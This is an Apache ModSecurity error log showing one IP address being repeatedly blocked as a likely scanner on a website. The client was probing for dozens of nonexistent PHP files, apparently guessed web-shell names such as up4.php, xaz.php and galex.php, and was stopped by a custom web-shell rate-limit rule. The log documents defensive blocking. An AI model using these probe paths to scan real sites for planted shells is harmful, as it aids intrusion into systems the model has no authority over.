[Fri Dec 26 01:37:09.794977 2025] [:error] [pid 24864:tid 24934] [client 4.194.153.244:2823] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ton.php"] [unique_id "aU12Rcu59XOK5DpQQdCf2AAAAU4"]
[Fri Dec 26 01:37:10.027101 2025] [:error] [pid 24946:tid 24967] [client 4.194.153.244:2753] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU12RlfyLYxv3Jn9S71QuwAAAFM"]
[Fri Dec 26 01:37:10.286459 2025] [:error] [pid 24862:tid 24872] [client 4.194.153.244:2631] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU12Rrt-eeEEuo-2JKg2XAAAAAY"]
[Fri Dec 26 01:37:10.501727 2025] [:error] [pid 24863:tid 24893] [client 4.194.153.244:2691] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU12Rh8SaH2KMpp43vfy0QAAAMA"]
[Fri Dec 26 01:37:10.726730 2025] [:error] [pid 24862:tid 24877] [client 4.194.153.244:2640] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/403.php"] [unique_id "aU12Rrt-eeEEuo-2JKg2XgAAAAs"]
[Fri Dec 26 01:37:10.953678 2025] [:error] [pid 24862:tid 24876] [client 4.194.153.244:2760] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU12Rrt-eeEEuo-2JKg2YAAAAAo"]
[Fri Dec 26 01:37:11.203876 2025] [:error] [pid 24863:tid 24907] [client 4.194.153.244:2704] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU12Rx8SaH2KMpp43vfy0gAAAM4"]
[Fri Dec 26 01:37:11.508309 2025] [:error] [pid 24862:tid 24888] [client 4.194.153.244:3005] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU12R7t-eeEEuo-2JKg2YgAAABY"]
[Fri Dec 26 01:37:11.777711 2025] [:error] [pid 24863:tid 24910] [client 4.194.153.244:2630] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file9.php"] [unique_id "aU12Rx8SaH2KMpp43vfy1QAAANE"]
[Fri Dec 26 01:37:12.017606 2025] [:error] [pid 24946:tid 24966] [client 4.194.153.244:2907] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU12SFfyLYxv3Jn9S71QxAAAAFI"]
[Fri Dec 26 01:37:12.283907 2025] [:error] [pid 24864:tid 24920] [client 4.194.153.244:2809] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU12SMu59XOK5DpQQdCf5gAAAUA"]
[Fri Dec 26 01:37:12.540770 2025] [:error] [pid 24864:tid 24935] [client 4.194.153.244:2849] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU12SMu59XOK5DpQQdCf6AAAAU8"]
[Fri Dec 26 01:37:12.883193 2025] [:error] [pid 24946:tid 24957] [client 4.194.153.244:2825] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ac.php"] [unique_id "aU12SFfyLYxv3Jn9S71QxwAAAEk"]
[Fri Dec 26 01:37:13.210705 2025] [:error] [pid 24862:tid 24870] [client 4.194.153.244:2643] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aU12Sbt-eeEEuo-2JKg2ZAAAAAQ"]
[Fri Dec 26 01:37:13.499963 2025] [:error] [pid 24862:tid 24885] [client 4.194.153.244:2829] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aU12Sbt-eeEEuo-2JKg2ZQAAABM"]
[Fri Dec 26 01:37:13.770014 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:2769] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aU12SR8SaH2KMpp43vfy1wAAAMQ"]
[Fri Dec 26 01:37:14.034642 2025] [:error] [pid 24863:tid 24895] [client 4.194.153.244:2826] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new4.php"] [unique_id "aU12Sh8SaH2KMpp43vfy2QAAAMI"]
[Fri Dec 26 01:37:14.269174 2025] [:error] [pid 24864:tid 24939] [client 4.194.153.244:2841] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aU12Ssu59XOK5DpQQdCf7gAAAVM"]
[Fri Dec 26 01:37:14.501478 2025] [:error] [pid 24864:tid 24924] [client 4.194.153.244:2626] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aU12Ssu59XOK5DpQQdCf7wAAAUQ"]
[Fri Dec 26 01:37:14.798737 2025] [:error] [pid 24864:tid 24931] [client 4.194.153.244:2952] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aU12Ssu59XOK5DpQQdCf8QAAAUs"]
[Fri Dec 26 01:37:15.035261 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:2634] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "aU12S1fyLYxv3Jn9S71QzQAAAEw"]
[Fri Dec 26 01:37:15.325109 2025] [:error] [pid 24863:tid 24898] [client 4.194.153.244:2644] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aU12Sx8SaH2KMpp43vfy3AAAAMU"]
[Fri Dec 26 01:37:15.578289 2025] [:error] [pid 24862:tid 24881] [client 4.194.153.244:2658] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aU12S7t-eeEEuo-2JKg2awAAAA8"]
[Fri Dec 26 01:37:15.856205 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:2657] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aU12Sx8SaH2KMpp43vfy3gAAAMw"]
[Fri Dec 26 01:37:16.109166 2025] [:error] [pid 24863:tid 24911] [client 4.194.153.244:2771] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "aU12TB8SaH2KMpp43vfy3wAAANI"]
[Fri Dec 26 01:37:16.404505 2025] [:error] [pid 24864:tid 24944] [client 4.194.153.244:2768] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU12TMu59XOK5DpQQdCf8wAAAVg"]
[Fri Dec 26 01:37:16.636718 2025] [:error] [pid 24864:tid 24927] [client 4.194.153.244:2635] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU12TMu59XOK5DpQQdCf9AAAAUc"]
[Fri Dec 26 01:37:16.814761 2025] [:error] [pid 24864:tid 24942] [client 4.194.153.244:2838] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU12TMu59XOK5DpQQdCf9QAAAVY"]
[Fri Dec 26 01:37:17.091641 2025] [:error] [pid 24862:tid 24887] [client 4.194.153.244:2807] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "aU12Tbt-eeEEuo-2JKg2cAAAABU"]
[Fri Dec 26 01:37:17.358383 2025] [:error] [pid 24864:tid 24943] [client 4.194.153.244:2757] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU12Tcu59XOK5DpQQdCf-AAAAVc"]
[Fri Dec 26 01:37:17.664695 2025] [:error] [pid 24863:tid 24913] [client 4.194.153.244:2781] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU12TR8SaH2KMpp43vfy5AAAANQ"]
[Fri Dec 26 01:37:17.921490 2025] [:error] [pid 24864:tid 24928] [client 4.194.153.244:2633] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU12Tcu59XOK5DpQQdCf-QAAAUg"]
[Fri Dec 26 01:37:18.198736 2025] [:error] [pid 24863:tid 24904] [client 4.194.153.244:2666] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "aU12Th8SaH2KMpp43vfy5gAAAMs"]
[Fri Dec 26 01:37:18.487750 2025] [:error] [pid 24864:tid 24933] [client 4.194.153.244:2647] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aU12Tsu59XOK5DpQQdCf_QAAAU0"]
[Fri Dec 26 01:37:18.786078 2025] [:error] [pid 24946:tid 24949] [client 4.194.153.244:2928] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aU12TlfyLYxv3Jn9S71Q0QAAAEE"]
[Fri Dec 26 01:37:19.068628 2025] [:error] [pid 24862:tid 24888] [client 4.194.153.244:2674] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aU12T7t-eeEEuo-2JKg2dgAAABY"]
[Fri Dec 26 01:37:19.326613 2025] [:error] [pid 24864:tid 24940] [client 4.194.153.244:2648] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1aa.php"] [unique_id "aU12T8u59XOK5DpQQdCgAAAAAVQ"]
[Fri Dec 26 01:37:19.581612 2025] [:error] [pid 24946:tid 24962] [client 4.194.153.244:2649] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aU12T1fyLYxv3Jn9S71Q0gAAAE4"]
[Fri Dec 26 01:37:19.816257 2025] [:error] [pid 24863:tid 24916] [client 4.194.153.244:2663] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aU12Tx8SaH2KMpp43vfy6wAAANc"]
[Fri Dec 26 01:37:20.085496 2025] [:error] [pid 24946:tid 24958] [client 4.194.153.244:2793] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aU12UFfyLYxv3Jn9S71Q1QAAAEo"]
[Fri Dec 26 01:37:20.334169 2025] [:error] [pid 24864:tid 24934] [client 4.194.153.244:2867] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/elp.php"] [unique_id "aU12UMu59XOK5DpQQdCgAwAAAU4"]
[Fri Dec 26 01:37:20.555296 2025] [:error] [pid 24863:tid 24896] [client 4.194.153.244:2859] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU12UB8SaH2KMpp43vfy7QAAAMM"]
[Fri Dec 26 01:37:20.866755 2025] [:error] [pid 24862:tid 24890] [client 4.194.153.244:2665] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU12ULt-eeEEuo-2JKg2ewAAABg"]
[Fri Dec 26 01:37:21.083307 2025] [:error] [pid 24863:tid 24897] [client 4.194.153.244:2713] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU12UR8SaH2KMpp43vfy7gAAAMQ"]
[Fri Dec 26 01:37:21.340722 2025] [:error] [pid 24863:tid 24895] [client 4.194.153.244:2815] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wtz.php"] [unique_id "aU12UR8SaH2KMpp43vfy7wAAAMI"]
[Fri Dec 26 01:37:21.583134 2025] [:error] [pid 24863:tid 24914] [client 4.194.153.244:2654] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aU12UR8SaH2KMpp43vfy8AAAANU"]
[Fri Dec 26 01:37:21.884747 2025] [:error] [pid 24862:tid 24873] [client 4.194.153.244:2743] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aU12Ubt-eeEEuo-2JKg2gAAAAAc"]
[Fri Dec 26 01:37:22.164837 2025] [:error] [pid 24863:tid 24912] [client 4.194.153.244:2563] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aU12Uh8SaH2KMpp43vfy8wAAANM"]
[Fri Dec 26 01:37:22.427440 2025] [:error] [pid 24863:tid 24905] [client 4.194.153.244:2777] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galex.php"] [unique_id "aU12Uh8SaH2KMpp43vfy9AAAAMw"]
[Fri Dec 26 01:37:22.667862 2025] [:error] [pid 24946:tid 24960] [client 4.194.153.244:2876] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU12UlfyLYxv3Jn9S71Q4wAAAEw"]
[Fri Dec 26 01:37:22.923650 2025] [:error] [pid 24862:tid 24875] [client 4.194.153.244:3006] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU12Urt-eeEEuo-2JKg2hgAAAAk"]
[Fri Dec 26 01:37:23.180767 2025] [:error] [pid 24862:tid 24868] [client 4.194.153.244:2660] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU12U7t-eeEEuo-2JKg2hwAAAAI"]
[Fri Dec 26 01:37:23.474436 2025] [:error] [pid 24863:tid 24894] [client 4.194.153.244:2811] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xb.php"] [unique_id "aU12Ux8SaH2KMpp43vfy-QAAAME"]
[Fri Dec 26 01:37:23.729300 2025] [:error] [pid 24862:tid 24882] [client 4.194.153.244:2912] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU12U7t-eeEEuo-2JKg2iAAAABA"]
[Fri Dec 26 01:37:23.972693 2025] [:error] [pid 24862:tid 24877] [client 4.194.153.244:2679] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU12U7t-eeEEuo-2JKg2igAAAAs"]
[Fri Dec 26 01:37:24.228825 2025] [:error] [pid 24862:tid 24869] [client 4.194.153.244:2637] [client 4.194.153.244] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ova.php"] [unique_id "aU12VLt-eeEEuo-2JKg2jAAAAAM"]
